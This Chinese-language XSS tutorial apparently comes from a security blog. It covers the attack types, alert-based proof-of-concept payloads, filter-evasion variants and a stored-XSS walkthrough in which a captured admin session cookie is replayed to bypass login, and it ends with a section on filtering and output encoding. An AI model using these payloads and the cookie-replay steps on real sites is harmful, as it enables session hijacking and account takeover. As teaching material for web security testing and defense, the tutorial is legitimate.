[渗透测试] XSS跨站点脚本攻击 零基础入门教程

前言

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击。攻击者在合法的网站或Web应用程序中执行恶意脚本。当Web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

​ XSS主要使用JS来执行恶意攻击,因为JS可以操控HTML、CSS、浏览器等,所有就给了攻击者可乘之机。

XSS漏洞原理

​ XSS通过构造JS代码,将其注入到网页中,然后浏览器执行这段JS代码,从而达到恶意攻击的效果。当用户访问这个页面的时候,这段代码就会注入给用户,在用户的浏览器上执行,从而攻击者就可以获取用户信息进行攻击。这个就是XSS漏洞的原理,我们可以将其绘制成一个示意图:

XSS漏洞利用

XSS攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同。

**注入位置:**搜索框、留言板、聊天室等收集用户输入的地方。

**POC:**可以用一段简单的代码来验证是否存在XSS漏洞。下面是一些检验语句,如果页面存在弹窗,那么说明存在XSS漏洞。

Js 复制代码
<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

XSS漏洞危害

攻击者利用XSS攻击是通过编写恶意JS代码,注入到Web服务器中,用户访问Web界面,这段恶意代码会在用户的浏览器中执行,以达到攻击效果,这样就会产生很多的危害:

  • 窃取用户的Cookie信息,进行Cookie欺骗
  • 劫持用户会话执行任意操作
  • 刷流量、执行弹窗广告进行网络攻击
  • 传播蠕虫病毒
  • 窃取用户私人账密信息
  • 挂马

XSS攻击方式及利用

XSS攻击分为反射型XSS、存储型XSS、DOM型XSS

反射型XSS

非持久、参数型 的跨站脚本。攻击者事先做好攻击链接,欺骗用户自己去点击链接来触发XSS代码,一般会出现在像搜索框这样的地方。

比较容易被发现 ,利用难度较高

存储型XSS

​ 持久型跨站脚本。它通常会被写进数据库或文件等可以被永久保存数据的介质中。通常会出现在像留言板的地方,攻击者将恶意代码写入数据库。如果没有过滤或者过滤不严的话,那么这些恶意代码就会存储在服务器数据库中,当用户访问的时候就会触发代码,形成攻击。

​ 非常危险,很容易造成大面积破坏、窃取用户信息Cookie。

DOM型XSS

​ DOM(Document Object Model,文档对象模型)是一个与平台、编程语言无关的接口 ,它允许程序或脚本动态地访问或更新文本文档 ,处理后的结果会成为页面的一部分。DOM型XSS是一种XSS攻击方式。通过修改受害者浏览器页面的DOM树 来执行。这种攻击技法的特点在于攻击代码在浏览器本地修改DOM树来执行,不会将payload上传到服务器

​ 因为其特性,所有很难被检测到。

XSS攻防

固定会话攻击

原理

固定会话攻击是通过窃取Cookie来实现的。

​ Cookie相当于存储在浏览器里的身份证,拥有它也就拥有了用户的身份。XSS触发是需要浏览器客户端用户(受害者)参与的,攻击者并不清楚什么时候会触发漏洞,所以这个过程也被称为XSS盲打

工具(XSS平台)

使用XSS平台

推荐:XSS安全平台 (xssjs.com)

攻击演示

1.首先,我们先来在XSS平台上创建一个项目,项目名称就叫做XSS盲打,接着下一步。

2.接着就是模块代码的选择,这里我们就选择超强默认模块并选择keepsession

3.完成这些之后,我们的代码就生成出来了,我们会发现上面也有教我们如何使用的教程。

4.我们以cms网站作为一个XSS盲打网站,我们在留言板处进行XSS代码上传,我们将恶意代码上传上去,接着就是等待后台管理员审核了。

5.当后台管理员看到这条留言的时候,我们就成功了!我们回到我们的xss平台,打开项目内容,发现我们获取到了cookie。

cookie : username=admin; userid=1; PHPSESSID=0g29gq5hupifd1tartkva7kjs7

6.有了Cookie,我们就可以来构造了。

cmd 复制代码
document.cookie = "username=admin";
document.cookie = "userid=1";
document.cookie = "PHPSESSID=0g29gq5hupifd1tartkva7kjs7";

7.接着我们F12打开控制台,把cookie输入后我们直接访问admin页面,我们就可以直接跳过登录加入到管理员界面了。

XSS构造方法

通过何种方式可以触发XSS?

利用<>

可以使用<>来构造XSS代码用于注入。

html 复制代码
<script>alert(/xss/)</script>
利用javascript伪协议

可以通过url载入资源标签来构造。

html 复制代码
<a href= javascript:alert(/xss/)>click me!</a>
事件响应

"事件驱动"是一种比较典型的编程思想

事件类型 说明
Window 事件 对Window 对象触发的事件
Form 事件 HTML 表单内触发的事件
keyboard 事件 键盘事件
Mouse 事件 鼠标事件
Media 事件 由多媒体触发的事件
html 复制代码
# 错误触发
<img src = # onerror = alert(/xss/)>
# 抬键
<input type='text' onkeyup = alert(/xss/)>
# 鼠标悬停
<input type='text' onmouseover = alert(/xss/)>

参考:HTML 事件参考手册 (w3school.com.cn)

XSS变形方式

大小写转换

浏览器对HTML标签大小写不敏感

html 复制代码
<ScRipt>alert(/xss/)</ScRipt>
<img ONerror = 'alert(/xss/)' src = "#">
关键词双写
html 复制代码
<scr<script>ipt>alert(/xss/)</script>
对伪协议进行转码
插入其他字符

可以将以下字符插入到任意位置

字符 编码
Tab &#9;
换行 &#10;
回车 &#13;

可以将以下字符插入到头部位置

字符 编码
SOH &#01;
STX &#02;
引号的使用

HTML对引号的使用要求不严格。

  • 没有引号
  • 单引号
  • 双引号
html 复制代码
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
/ 代替空格
html 复制代码
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
拆分跨站

将一段JS代码拆成多段

html 复制代码
<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

XSS的防御

通过过滤器以达到过滤用户提交的有害信息的效果来进行防御。

输入过滤

对用户输入进行过滤,进行有效性验证。

  • 仅接收指定长度
  • 仅包含合法字符
  • 仅接收指定范围
  • 特殊的格式
php 复制代码
<?php
    $keywords = $_GET['keywords'];
	$keywords = strolower($keywords);
	$keywords = str_replace("on","",$keywords);
	$keywords = str_replace("<script>","",$keywords);
	$keywords = str_replace("<","",$keywords);
	$keywords = str_replace(">","",$keywords);
	echo $keywords;
?>
输出编码

HTML 编码是HTML 实体编码

php 复制代码
$keywords = htmlspecialchars($_GET['keywords']);
黑白名单策略

针对名单对用户提交的信息进行过滤。

黑名单:非允许的内容

白名单:允许的内容

测试代码
html 复制代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
相关推荐
iSee8572 小时前
泛微E-Cology系统 CptInstock1Ajax SQL注入漏洞复现
安全
影子落人间2 小时前
JAVA使用SM2算法生成密钥对加密解密加签验签
java·开发语言·算法·安全
bollat3 小时前
前端网络安全
前端·安全
Valder__4 小时前
信息收集-DNS收集
网络·安全
黑客小七5 小时前
利用配置错误的负载均衡器,通过XSS窃取Cookies
前端·javascript·网络·python·安全·webpack·xss
江南2605 小时前
CISAW安全集成,协助组织构建坚固的信息防护堡垒
安全·渗透测试·风险管理·cisaw·安全运维·应急服务
海淀夏雨荷5 小时前
安全测试用例:检查是否存在不安全的HTTP方法
web安全·安全性测试
智能物联实验室6 小时前
涂鸦革新WebRTC技术!让IPC监测低延时、高可靠更安全
安全·webrtc·云开发